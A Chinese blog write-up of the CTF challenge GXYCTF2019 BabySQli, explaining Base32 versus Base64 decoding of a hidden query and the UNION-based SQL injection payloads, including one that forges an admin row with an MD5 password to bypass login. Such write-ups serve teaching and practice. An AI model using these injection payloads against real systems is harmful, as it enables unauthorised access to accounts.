BASE32与BASE64区别与UNION查询特性
作者:互联网
来源[GXYCTF2019]BabySQli 1
无聊试一下弱口令admin/admin得到WRONG PASS的提示,说明admin用户存在,并且得到一个search.php页面,源码如下
发现一串神奇的字符
这里有个知识BASE32与BASE64区别
BASE64:包含大写字母(A-Z),小写字母(a-z),数字(0-9)以及+/ 一般带==
BASE32:只有大写字母(A-Z)和数字234567 一般带===
BASE16即为16进制
当ASCll用Base加密达不到所对应的位数的时候用=号补齐
本题需补上一个=
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5=
↓
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw== ↓ select * from user where username = '$name'
得到sql语句后手动测试几下后直接fuzz,得到结果如下
419表示被过滤,由此得到一系列语句
' ORDER BY 3# --3个字段 ' union select 'admin',2,3# --此处显示wrong user ' union select 1,'admin',2# --此处显示wrong pass 说明2字段为用户 猜测3字段为密码
由此构造payload此处为第二个知识点
在联合查询并不存在的数据时,联合查询就会在表中构造一个虚拟的数据。
首先可以看到该表只有一个用户
然后我们可以用联合查询的方式将查询的数据插入到表中
' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'# --3字段为123456的MD5值,一般来说数据库中密码由MD5形式保存
同时在密码中输入123456
得到flag
标签:UNION,BASE64,查询,admin,BASE32,--,select 来源: https://www.cnblogs.com/llllll7/p/14822709.html